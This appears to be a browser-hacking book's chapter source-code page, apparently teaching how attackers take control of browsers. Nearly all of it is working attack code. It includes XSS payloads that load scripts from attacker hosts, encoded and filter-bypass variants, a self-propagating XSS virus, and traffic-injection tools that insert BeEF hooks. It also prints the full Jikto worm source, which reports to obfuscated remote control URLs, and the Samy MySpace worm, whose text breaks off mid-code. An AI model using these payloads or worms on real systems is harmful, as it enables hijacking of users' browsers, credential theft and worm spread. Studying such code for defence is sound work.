BHH logo

Ch2 Source Code - Initiating Control


Reflected XSS examples

// vulnerability
<% String userId = request.getParameter("user"); %>
Your User ID is <%= userId %>

// exploit
http://browservictim.com/userhome.jsp?user=<script%20src='http://browserhacker.com/evil.js'></script>;

Stored XSS examples

// Write to database
<%
String userDisplayName = request.getParameter("userdisplayname");
String userSession = session.getAttribute('userid');
String dbQuery = "INSERT INTO users (userDisplayName) VALUES(?) WHERE userId = ?";
PreparedStatement statement = connection.prepareStatement(dbQuery);
statement.setString(1, userDisplayName);
statement.setString(2, userSession);
statement.executeUpdate();
%>

// Retrieval of potentially vulnerable data from the database
<%
Statement statement = connection.createStatement();
ResultSet result = statement.executeQuery("SELECT * FROM users LIMIT 10");
%>
The top 10 latest users to sign up:<br />
<% while(result.next()) { %>
User: <%=result.getString("userDisplayName")%><br />
<% } %>

// Exploit
http://browservictim.com/newuser.jsp?userdisplayname=<script%20src='http://browserhacker.com/evil.js'></script>

DOM XSS examples

// vulnerability #1
document.write(document.location.href.substr(document.location.href.search(/#welcomemessage/i)+16,document.location.href.length))

// exploit #1
http://browservictim.com/homepage.html#welcomemessage=<script>document.location='http://browserhacker.com'</script>

// vulnerability #2
function getId(id){
console.log('id: ' + id);
}

var url = window.location.href;
var pos = url.indexOf("id=")+3;
var len = url.length;
var id = url.substring(pos,len);
eval('getId(' + id.toString() + ')');

// exploit #2
// Without encoding:
http://browserhacker.com/page.html?id=1');s=document.createElement('script');s.src='http://attacker/evil.js';document.getElementsByTagName('head')[0].appendChild(s);//

// With encoding:
http://browserhacker.com/page.html?id=1');eval(String.fromCharCode(115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,97,116,116,97,99,107,101,114,47,101,118,105,108,46,106,115,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59))//

Internet Explorer ChromeHTML U-XSS

var sneaky = 'setTimeout("alert(document.cookie);", 4000); document.location.assign("http://www.gmail.com");';
document.location = 'chromehtml:"80%20javascript:document.write(sneaky)"';

XSS Filter bypass examples


http://vulnerablesite.com/index.php?a=<svg%20xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle%20r=100%20/><animate%20attributeName="xlink:href"%20values=";javascript:alert(1)"%20begin="0s"%20dur="0.1s"%20fill="freeze"/>

http://vulnerablesite.com/index.php?var1=%3Cscript%3Ealert(0);x='&var2=';%3C/script%3E

http://vulnerablesite.com/index.php?a=<script>void('&b=');alert(1);</script>

<svg><script>%2F%2F%26%23x0A%3Balert("xss%3F%E2%80%8B")<%2Fscript>

<svg><script>//
alert(1)</script>

"><img src=aa onerror=alert(0)

<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(6))>

<%tag style="xss:expression(alert(6))">

onerror=alert;throw 1;

onerror=eval;throw'=alert\x281\x29';

XSS Virus test page

<iframe name="iframex" id="iframex" src="hidden" style="display:none">
</iframe>
<script SRC="http://browserhacker.com/xssv.js"></script>

XSS Virus JavaScript

function loadIframe(iframeName, url) {
    if ( window.frames[iframeName] ) {
        window.frames[iframeName].location = url;
        return false;
    }else{
        return true;
    }
}

function do_request() {
    var ip = get_random_ip();
    var exploit_string = '<iframe name="iframe2" id="iframe2" ' +
        'src="hidden" style="display:none"></iframe> ' +
        '<script SRC="http://browserhacker.com/xssv.js"></script>';

    loadIframe('iframe2',"http://" + ip + "/index.php?param=" + exploit_string);
 }

function get_random(){
    var ranNum= Math.round(Math.random()*255);
    return ranNum;
}

function get_random_ip(){
    return "10.0.0."+get_random();
}

setInterval("do_request()", 10000);

Ettercap filter to inject the BeEF hook into HTTP traffic

    if (ip.proto == TCP && tcp.src == 80) {
    replace("</body>", "<script src='http://browserhacker.com/hook.js'>
    </script></body>");
    replace("Accept-Encoding: gzip, deflate",
    "Accept-Encoding:              ");
    }

JavaScript Injector Burp Extension


#
# the builtin "Match and Replace" feature applies a simple regexp to every request/response
# no way to 1) restrict to scope 2) do complex filtering 3) target specific IP addresses
#
# this extension allows to inject some JavaScript if:
# - the client wasn't already infected
# - the page URL is in the scope
# - the response body matches a specific string
#
# use cases:
# 1) inject BeEF hooks after you MITM your targets via ARP, DNS or WPAD attacks:
# http://webstersprodigy.net/2012/07/06/some-practical-arp-poison-attacks-with-scapy-iptables-and-burp/
# 2) load Firebug Lite in a mobile browser (iPad/iPhone):
# http://stackoverflow.com/questions/7848801/firebug-lite-on-ipad
#
# by Nicolas Gregoire
# @Agarri_FR // [email protected]
#


# imports specific to Burp
from burp import IBurpExtender
from burp import IProxyListener

# other imports
import array
from java.io import PrintWriter

class BurpExtender(IBurpExtender, IProxyListener):

	#
	# implement IBurpExtender
	#

	def registerExtenderCallbacks(self, callbacks):

		##### START CONFIG #####

		# look for this string in the body
		self._marker = "</head>"

		# prefix the marker with some JavaScript code
		self._code = "<script type='text/javascript' src='https://getfirebug.com/releases/lite/1.4/firebug-lite.js#startOpened=true'></script>" + self._marker

		# log more information
		self._verbose = True

		##### END CONFIG #####

		# set our extension name
		callbacks.setExtensionName("JavaScript Injector")

		# keep a reference to our callbacks object
		self._callbacks = callbacks

		# obtain an extension helpers object
		self._helpers = callbacks.getHelpers()

		# obtain stdout stream
		self._stdout = PrintWriter(callbacks.getStdout(), True)

		# will contain the IP of infected hosts
		self._infected = []

		# register ourselves as a Proxy listener
		callbacks.registerProxyListener(self)

		return

	#
	# implement IBurpListener
	#

	def processProxyMessage(self, messageIsRequest, message):

		# do not process requests
		if messageIsRequest:
			return

		# get the IP of the client
		client = message.getClientIpAddress().getHostAddress()

		# get an unique reference to this message
		ref = message.getMessageReference()

		# parse the response
		response = message.getMessageInfo().getResponse()
		parsed_response = self._helpers.analyzeResponse(response)

		# parse the corresponding request
		request = message.getMessageInfo()
		parsed_request = self._helpers.analyzeRequest(request)

		# do not process already infected hosts
		if client in self._infected:
			if self._verbose:
				self._stdout.println("[-] #%d (%s) Response was NOT infected (host already infected)" % (ref, client))
			return

		# do not process out of scope messages
		if not self._callbacks.isInScope(parsed_request.getUrl()):
			if self._verbose:
				self._stdout.println("[-] #%d (%s) Response was NOT infected (not in scope)" % (ref, client))
			return

		# extract the body and headers
		headers = parsed_response.getHeaders()
		body = response[parsed_response.getBodyOffset():]

		# infect only if the marker is found in the body
		if not self._marker in body.tostring():
			if self._verbose:
				self._stdout.println("[-] #%d (%s) Response was NOT infected (no marker in body)" % (ref, client))
			return

		# infect the body and convert to bytes
		infected_body = self._helpers.bytesToString(body.tostring().replace(self._marker, self._code))
		self._stdout.println("[+] #%d (%s) Response was infected! %s" % (ref, client, str(parsed_request.getUrl())))

		# add this client to the list of infected ones
		self._infected.append(client)

		# update the response (will also update the Content-Length header)
		message.getMessageInfo().setResponse(self._helpers.buildHttpMessage(headers, infected_body))

		# tag the message
		message.getMessageInfo().setComment("Infected!")
		message.getMessageInfo().setHighlight("yellow")

		return

Jikto worm source code

 
    
//------------------------------------------------------------------------------------ Analyzer
//------------------------------------------------------------------------------------ Analyzer
//------------------------------------------------------------------------------------ Analyzer
    
    function linkIsGood(l) {
        var lower = l.toLowerCase().substring(0,4);
        //this is stupid (could false pos), but effective
        if(lower == "java" || lower == "mail") {
            return false;
        }
            
        var tmpU = Url.resolveRelativeLink(currRequest.url, l);
        //do checks here
        if(!fileExtAllowed(tmpU)) {
            return false;
        }
        if(tmpU.hostname != startUrl.hostname) {
            return false;
        }
        
        if(tmpU.port != startUrl.port) {
            return false;
        }
        return true;
    }   
    
    
    function extractHREFsAsRequests(txt) {
        var pattern = /href\s*\=\s*(["'])([^'"]*)\1/gi;
        
        var links = new Array();
        var result;
        while( (result = pattern.exec(txt)) != null) {
            links.push(result[2]);
        }
        
        //refine what we RegExed out    
        var requests = new Array();
        var counter = 0;
        var linklen = links.length;
        for(; counter < linklen; counter++) {
            //clean out the prefix
            links[counter] = links[counter].replace(prefix,"");
            if(linkIsGood(links[counter])) {
                requests.push( Request.fromUrl( Url.resolveRelativeLink(currRequest.url, links[counter]) ));
            }
        }
       
        return requests;
    }
    
    function fileExtAllowed(u) {
        for(var i=0, bfl = badFiles.length; i < bfl; i++) {
            if(u.fileext.toLowerCase() == badFiles[i]) {
                return false;
            }
        }
        return true;
    }    

    function tagParser(text) {

        var PRENAME = 0;
        var INNAME = 1;
        var INPREVALUE = 2;
        var INVALUE = 3;

        var attribs = new Object();
    
    
        var curr = 0;
        var len = text.length;
        
        var c = "";
        
        var state = PRENAME;
        
        
        var buff = "";
        var name = "";
        var quoteChar = "";
        
        while(curr < text.length) {
        
            c = text.charAt(curr);
            
            switch(state) {
            
                case PRENAME:
                    switch(c) {
                    
                        case ' ':
                        case '\t':
                        case '\r':
                        case '\n':
                            curr++;
                            break;
                        default:
                            buff = c;
                            curr++;
                            state = INNAME;
                            break;
                    }
                    break;
            
            
                case INNAME:
                    switch(c) {
                        case '=':
                            //= so name is done
                            name = trim(buff).toLowerCase();
                            buff = "";
                            quoteChar = "";
                            curr++;
                            state = INPREVALUE;
                            break;
                        default:
                            buff += c;
                            curr++;
                            break;
                    }
                    break;
                
               case INPREVALUE:
                    switch(c) {
                        case ' ':
                        case '\t':
                            //ignore it
                            curr++;
                            break;
                        case "\'":
                        case "\"":
                            quoteChar = c;
                            curr++;
                            state = INVALUE;
                            break;
                        default:
                            //anything is a value
                            quoteChar = "";
                            buff += c;
                            curr++;
                            state = INVALUE;
                            break;
                    }
                    break;                    
                            
            
                 case INVALUE:
                    switch(c) {
                        case quoteChar:
                        
                            //all done!
                            attribs[name] = buff;
                            state = PRENAME;
                            curr++;
                            buff = "";
                            break;
                        case ' ':
                        case '\t':
                        case '\r':
                        case '\n':
                            if(quoteChar == "") {
                                
                                attribs[name] = buff;
                                state = PRENAME;
                                buff = "";
                            }
                            curr++;
                            break;
                        default:
                            buff += c;
                            curr++;
                            break;
                    }
                    break;              
            
            } //end switch
        } //end while
        
        var c = 10;
        return attribs;
    }

    function extractFormsAsRequests(txt) {


        var requests = new Array();

        var lowertxt = txt.toLowerCase();

        //RegEx and results for FORM search
        var pattern = /<form\s+([^>]+)/gi;
        var result;
        
        while( (result = pattern.exec(txt)) != null) {
            
            //parse out attributes for the form tag
            currForm = tagParser(result[1]);

            //setup something for the inputs            
            currForm.inputs = new Array();
            
            //find the "end" tag
            var endp = lowertxt.indexOf("</form", result.index+1);
            
            //grab all that text "inside" thos form
            var inner = txt.substring(result.index, endp);
            
            //grab all the inputs in the form
            var pattern2 = /<input\s+([^>]+)/gi;
            var result2;
            while( (result2 = pattern2.exec(inner)) != null) {
            
                //parse out the attributes
                currForm.inputs[currForm.inputs.length] = tagParser(result2[1]);
            }
            
            //needs some inputs and an action
            if(currForm.inputs.length > 0 && currForm.action != undefined) {
            
                if(linkIsGood(currForm.action)) {
            
                    var u = Url.resolveRelativeLink(currRequest.url, currForm.action);
            
                    if(currForm.method != undefined && currForm.method.toLowerCase() == "post") {
                        var req = Request.fromUrl(u);
                        req.method = "POST";
                        req.data = buildParamString(currForm.inputs);
                        requests[requests.length] = req;
                    } else {
                        u.queryParams = buildParamString(currForm.inputs);
                        requests[requests.length] = Request.fromUrl(u);
                    }
                }
            }
            
        }
        
        return requests;
        
    }

    function buildParamString(inps) {
    
        var ret = new Array();
        
        var seen = new Object();
        
        for(var i =0; i < inps.length; i++) {
            if(inps[i].name != undefined && seen[inps[i].name] == undefined) {
            
                seen[inps[i].name] = true;
            
                if(inps[i].value != undefined) {
                    ret[ret.length] = new NVPair(inps[i].name, inps[i].value);
                } else {
                    ret[ret.length] = new NVPair(inps[i].name, "admin");                
                }
            }
        }
        return ret;
    }


//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib

function generateBackupAttacks(request) {

    var requests = new Array();

    var newreq = new cloneObject(request);
    newreq.url.filename += ".bak";
    newreq.url.queryParams = new Array();
    newreq.data = "";
    newreq.method = "GET";
    newreq.origin = "audit";
    newreq.title = "Backup File Detected!";
    newreq.sev = 50;
    newreq.regex = /HTTP\/1.1\s200\sOK/i;
    
    requests[requests.length] = newreq;

    var newreq = new cloneObject(request);
    newreq.url.filename += ".old";
    newreq.url.queryParams = new Array();
    newreq.data = "";
    newreq.method = "GET";
    newreq.origin = "audit";
    newreq.title = "Backup File Detected!";
    newreq.sev = 50;
    newreq.regex = /HTTP\/1.1\s200\sOK/i;
    requests[requests.length] = newreq;

    return requests;

}

function generatePPASSAttacks(request) {

    var requests = new Array();
    

    if(request.method == "GET" && request.url.queryParams.length > 0) {
   
        var newreq = new cloneObject(request);
        
        newreq.url.queryParams = new Array();
        for(var xxx=0; xxx < request.url.queryParams.length; xxx++) {
        
            newreq.url.queryParams[xxx] = new NVPair(request.url.queryParams[xxx].name,"<script>alert('xss')</script>");
        
        
        }
        newreq.origin = "audit";
        newreq.title = "Cross Site Scripting";
        newreq.sev = 100;
        newreq.regex = /script/i;
        requests[requests.length] = newreq;
    } else if(request.method == "POST") {
    
    
        var t = request.data.length > 0;
    
        var newreq = new cloneObject(request);
        newreq.url.queryParams = new Array();
        newreq.data = new Array();
        
            newreq.data[0] = new NVPair("admin", "<script>alert('xss')</script>");
            newreq.data[1] = new NVPair("password", "<script>alert('xss')</script>");
            newreq.data[2] = new NVPair("graphicOption", "<script>alert('xss')</script>");
        
        newreq.origin = "audit";
        newreq.title = "Cross Site Scripting";
        newreq.sev = 100;
        newreq.regex = /script/i;
        requests[requests.length] = newreq;
    }
    
    return requests;

}


//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
  
    var currRequest = null;
    var currResponse = null;
  
  
    //startURL!
    var GUIURL = rot13("uggc://jjj.cragrfg.vg/wvxgb/pbageby.gkg"); //http://www.pentest.it/jikto/control.txt //http://localhost/JiktoControl/Collect.aspx?type=
                                                                              //uggc://ybpnyubfg/WvxgbPbageby/Pbyyrpg.nfck?glcr=
    var SLASH = String.fromCharCode(47);
    
    //prefix for our requests
    var prefix = window.location.pathname.substr(0,window.location.pathname.indexOf("http:", 7))
    
    //image extensions
    var badFiles = ["jpg", "jpeg", "gif", "png", "ico", "psd", "xcf", "xmb", "svg", "wmv", "bmp", "pdf", "ps", "doc", "dot", "xls", "pot", "ppt", "avi", "mpeg", "mpg", "asf", "mov", "wmv", "rm", "mp2", "mp3", "wma", "wav", "aiff", "aif", "mid", "midi", "mp4", "au", "ra", "exe", "pif", "bat", "msi", "swf", "class", "sh", "zip", "gz", "tar", "rar", "z", "jar", "cab", "rpm"];

    //our requestor!
    var xhr= new XMLHttpRequest();

//------------------------------------------------------------------------------------ GUI Interface
//------------------------------------------------------------------------------------ GUI Interface
//------------------------------------------------------------------------------------ GUI Interface

//alert("GUI");

    function reportURL(method, url) {
        var i = new Image();
        i.src = GUIURL + "1&url=" + escape(url) + "&method=" + escape(method);  
    }
    
    function reportVuln(method, url, sev, title, req, resp) {
        var i = new Image();
        i.src = GUIURL + "2&url=" + escape(url) + "&method=" + escape(method)+ "&sev=" + escape(sev) +"&title=" + escape(title) +"&req=" + escape(req) + "&resp=" + escape(resp);
    }    

//------------------------------------------------------------------------------------ Misc Funcs
//------------------------------------------------------------------------------------ Misc Funcs
//------------------------------------------------------------------------------------ Misc Funcs


    function cloneObject(what) {
        for (var i in what) {
        
            if(typeof(what[i]) == "object") {
                this[i] = new cloneObject(what[i]);
            } else {
                this[i] = what[i];
            }
        }
    }

    function rot13(txt) {
      
        var ret =""
        var len = txt.length;
            
        for(var i=0; i < len; i++) {
        
            var b = txt.charCodeAt(i);
            if( ((b>64) && (b<78)) || ((b>96) && (b<110)) ) {
                b +=13;
            } else if( ((b>77) && (b<91)) || ((b>109) && (b<123)) ) {
                b -=13;
            }
            ret += String.fromCharCode(b);
        }
        return ret;
    }

    function trim(s) {
	    return s.replace(/^\s*(\S*(\s+\S+)*)\s*$/, "$1");
    } 

//------------------------------------------------------------------------------------ Request
//------------------------------------------------------------------------------------ Request
//------------------------------------------------------------------------------------ Request

    function Request() {
    
        this.url = null;
        this.method = "";
        this.origin = "crawl";
        this.data = "";
        
        this.title = "xx";
        this.regex = "";
        this.sev = 0;
    
    }
    
    Request.fromUrl = function(u) {
    
        var ret = new Request();
        ret.url = u;
        ret.method = "GET";
        ret.origin = "crawl";
        return ret;
    }
    
    Request.prototype.getResource = function () {
        return this.url.toString();
    }
    
    Request.prototype.toString = function () {
        
        return String.concat(this.method, " ", this.getResource(), " HTTP/1.1");
    }

//------------------------------------------------------------------------------------ Response
//------------------------------------------------------------------------------------ Response
//------------------------------------------------------------------------------------ Response

    //create a response object from a completely returned XHR obj!
    function Response(x) {

        this.status = x.status;
        this.statusText = x.statusText;

        this.is404 = false;
        
        this.headersString = x.getAllResponseHeaders();
        //extract the headers into a hash table
        this.headers = new Object();
        var tmp = this.headersString.split("\n");
        var j;
        var k = ": ";
        
        for(var i =0; i < tmp.length; i++) {
            j = tmp[i].indexOf(k);
            if(j > 0) {
                this.headers[tmp[i].substring(0, j)] = tmp[i].substring(j + 2, tmp[i].length);
            }
        }
        
        this.body = x.responseText;
        return this;
            
    }

    function Response_toString() {
        var s="";
        var i;
        s = String.concat(s, "HTTP/1.1 ", this.status, " ", this.statusText, "\n");
        
        for (i in this.headers) {
            
            s = String.concat(s, i, ": ", this.headers[i], "\n");
        }

        s = String.concat(s, this.data);
        return s;
    }

    Response.prototype.toString = Response_toString;

//------------------------------------------------------------------------------------ Scanner
//------------------------------------------------------------------------------------ Scanner
//------------------------------------------------------------------------------------ Scanner
    
    var pending = new Object();
    var pendingLen = 0;
    
    var visited = new Object();
    
    function addRequest(r) {
    
        if(r  != undefined) {
    
            if(pending[r.toString()] == undefined) {
                if(visited[r.toString()] == undefined) {
                    pending[r.toString()] = r;
                    pendingLen++;
                    return true;
                }
            }
            return false;
        }
    }
      
    function processResponse() {
        
        // only if req shows "loaded"
        if (xhr.readyState == 4) {
            //send reponse off
            
            currResponse = new Response(xhr);
            
            
            
            
            if(currResponse.status == 200) {
                reportURL(currRequest.method, currRequest.getResource());
            }
            
            var requests = null;
            
            //grab any requests from HREFs
            requests = extractHREFsAsRequests(currResponse.body);
            var requests2 = extractFormsAsRequests(currResponse.body);
            
            if(requests2.length > 0) {
            
                requests = requests.concat(requests2);
            }
           
           if(requests.length > 0) {
            
                //bubble up the GUI and add them (if needed)
                for(var i =0; i < requests.length; i++)
                {
                    addRequest(requests[i]);
            
                    //================= Generate Attacks
                    
                    requests2 = generateBackupAttacks(requests[i]);
                    
                    //requests2 = (generatePPASSAttacks(requests[i]));
                    requests2 = requests2.concat(generatePPASSAttacks(requests[i]));
                    
                    
                    if(requests2.length > 0) {
                    
                        for(var k =0; k < requests2.length; k++)
                        {
                            addRequest(requests2[k]);
                        }
                    
                    }
                }
            }

            if(xhr.responseText.indexOf("xss") > 0) {
                
                
                reportVuln(currRequest.method, currRequest.getResource(), 100, "Cross Site Scripting", currRequest.toString(), currResponse.toString());
            }


            
            
            //==============score attacks here
            if(currRequest.origin == "audit") {
            
                if(currResponse.toString().match(currRequest.regex)) {
                
                
                    reportVuln(currRequest.method, currRequest.getResource(), currRequest.sev, currRequest.title, currRequest.toString(), currResponse.toString());
                }
                
            
            
            }
            
            
            sendNextRequest();
        }
    }
    
    
    function sendNextRequest() {
        
        if(pendingLen == 0) {
            //toGUI("Scan Complete!");
            return true;
        }

       //grab the first Request
        for(i in pending) {
            currRequest = pending[i];
            break;
        }
 
        //remove it from the queue       
        delete pending[currRequest.toString()];
        pendingLen--;
        
        //add it to visited
        visited[currRequest.toString()] = true;
        
        //clear out the old response obj
        currResponse = null;
        
        xhr = new XMLHttpRequest();

        var data = "";

        //register the handler function
        xhr.onreadystatechange = processResponse;

        xhr.open(currRequest.method, prefix + currRequest.getResource(), true);
        
        if(currRequest.method == "POST") {
        
            data = currRequest.data.join("&");
            xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhr.setRequestHeader("Content-length", data.length);
            //http.setRequestHeader("Connection", "close");        
        } 
        
        //add our magic header
        xhr.setRequestHeader('X-Hax0r', 'Acidus');

        xhr.send(data);
    }
    
//------------------------------------------------------------------------------------ URL Object
//------------------------------------------------------------------------------------ URL Object
//------------------------------------------------------------------------------------ URL Object

    function NVPair(n, v) {
        this.name = n;
        this.value = v;
        
        return this;
    }

    NVPair.prototype.toString = function() {
        return String.concat(escape(this.name), "=", escape(this.value));
    }
    
    function setParamValue(name, value, ar) {
    
        for (var yyy in ar.length) {
        
            if(ar[yyy].name != undefined) {
                if(ar[yyy].name == name) {
                    ar[yyy].value = value;
                    break;
                }
            }
        }
        return ar;    
    }
        
    function getParamArray(qs) {

        var ret = new Array();

        var nvp = qs.split("&");
        for(var i=0; i < nvp.length; i++) {

            var tmp = nvp[i].split("=");
            if(tmp.length == 1) {
                ret[ret.length] = new NVPair(unescape(tmp[0]), "");
            } else if(tmp.length == 2) {
                ret[ret.length] = new NVPair(unescape(tmp[0]), unescape(tmp[1]));
            }
        }
        return ret;
    }
    
    function Url(url) {
        
        this.protocol = "";

        this.hostname = "";
        this.port = "";
        this.path = "";
        this.filename="";    
        this.fileext="";
        this.frag ="";
        
        this.queryParams = new Array();
        
        if(arguments.length == 1) {
            
            var tmp;
            var rest;
            //grab the fraq
            tmp = url.split("#");
            rest = tmp[0];
            this.frag= (tmp.length > 1) ? unescape(String.concat("#",tmp[1])) : "";

            //grab the query string
            tmp = rest.split("?");
            rest = tmp[0];
            
            if(tmp.length > 1) {
                this.queryParams = getParamArray(tmp[1]);
            }
            //grab the protocol
            tmp = rest.split("//");
            if(tmp.length > 1) {
                tmp[0] = unescape(tmp[0]);
                this.protocol = tmp[0].substring(0,tmp[0].length-1).toLowerCase();              
                rest = tmp[1];
            } else {
                //alert("Invalid url \"" + url + "\"");
                throw "Invalid URL";
            }
            
            //grab the host
            tmp = rest.split(SLASH);
            
            if(tmp.length > 1) {
                //get rid of hostname
                this.hostname = unescape(tmp.shift()).toLowerCase();
                
                //only 1 thing left, which is the filename
                if(tmp.length == 1) {
                    this.filename = unescape(tmp[0]);
                    this.path = SLASH;
                } else {
                    //filename is at the end
                    this.filename = unescape(tmp.pop());
                    //recombine and add leading and trailing slashes
                    
                    for(var i =0; i < tmp.length; i++) {
                        tmp[i] = unescape(tmp[i]);
                    }
                    
                    for(var i = 0; i < tmp.length; i++) {
                        
                        if(tmp[i] == ".") {
                            tmp.splice(i, 1);
                            i = i -1;
                        } else if(tmp[i] == "..") {
                            if(i == 0) {
                                //more /../ than directories
                                //alert("Invalid url \"" + url + "\"");
                                throw "Invalid URL";
                            }
                            tmp.splice(i-1, 2);
                            i=i-2;
                        }
                    }
                    if(tmp.length >=1) {
                        this.path = String.concat(SLASH, tmp.join(SLASH), SLASH);
                    } else {
                        this.path = SLASH;
                    }
                }
            } else {
                this.hostname = unescape(tmp[0]);
                this.path = SLASH;            
            }
            
            //grab the port
            tmp = this.hostname.split(":");
            this.hostname = tmp[0];
            this.port = (tmp.length == 2) ? unescape(tmp[1]) : "";
            
            //be smart and fill in the port as needed
            if(this.port.length == 0) {
                if(this.protocol == "http")
                    this.port = "80";
                else
                    this.port = "443";
            }
            
            //grab the filename extension
            if(this.filename.length > 0) {
                tmp = this.filename.split(".");
                this.fileext = (tmp.length > 1) ? tmp.pop() : "";
            }
        }
        return this;

    }
    
    Url.prototype.addNV = function(name, value) {
        this.queryParams[this.queryParams.length] = new NVPair(name, value);
    }

    function Url_resolveRelativeLink(baseUrl, relativeLink) {

        if(typeof(baseUrl) == "string") {
            baseUrl = new Url(baseUrl);
        }

        //is it relative?
        if(unescape(relativeLink).indexOf("://") > 0) {
            return new Url(relativeLink);
        }
        //alert("BASE IS: " + baseUrl);
        
        var s;
        //set up our base
        s = String.concat(baseUrl.protocol,
                          "://",
                          baseUrl.hostname,
                          (baseUrl.port.length > 0) ? ":" + baseUrl.port : "");
        if(relativeLink.substring(0,1) == SLASH) {
            //link is relative to site root, so directly concat
            
            s = String.concat(s, relativeLink);
        } else {
            //link is relative to current path
            
            s = String.concat(s, baseUrl.path, relativeLink);
        }
        
        return new Url(s);
    }

    function Url_toString() {

        return String.concat(this.protocol,
                      "://",
                      this.hostname,
                      (this.port.length > 0) ? ":" + this.port : "",
                      this.path,
                      this.filename,
                      (this.queryParams.length > 0) ? "?" + this.queryParams.join("&") : "",
                      this.frag);

    }

    function Url_toStringNoPath() {

        return String.concat(this.protocol,
                      "://",
                      this.hostname,
                      (this.port.length > 0) ? ":" + this.port : "");
    }

    Url.prototype.toString = Url_toString;
    Url.prototype.toStringNoPath = Url_toStringNoPath;
    Url.resolveRelativeLink = Url_resolveRelativeLink;    
    
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------

//var startUrlString = rot13("uggc://mreb.jronccfrphevgl.pbz/");
var startUrlString = rot13("uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc");  //http://blackhat-forums.com/phpBB2/index.php   uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc
//var startUrlString = rot13("");
var startUrl = new Url(startUrlString);
//queue up first request
addRequest(Request.fromUrl(startUrl));
//let 'er rip!
sendNextRequest();

Jikto worm test page

<HTML>
	<HEAD>
		<TITLE>Jikto Test</TITLE>
        <script src="/mint/?js" type="text/javascript"></script>
	</HEAD>

	<BODY>

    <h1>Scanning..</h1>
    
<!---         <iframe src="http://www.google.com/translate?u=http%3A%2F%2Fwww.pentest.it%2Fjikto%2Fjikto.html&langpair=en%7Cen&hl=en&ie=UTF8"></iframe>  ----->
         <iframe src="http://www.the-cloak.com/Cloaked/+cfg=32/http://www.pentest.it/jikto/jikto.html"></iframe>   
        
	</BODY>

</HTML>

Samy worm

<div id=mycode style="BACKGROUND: url('java 
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var 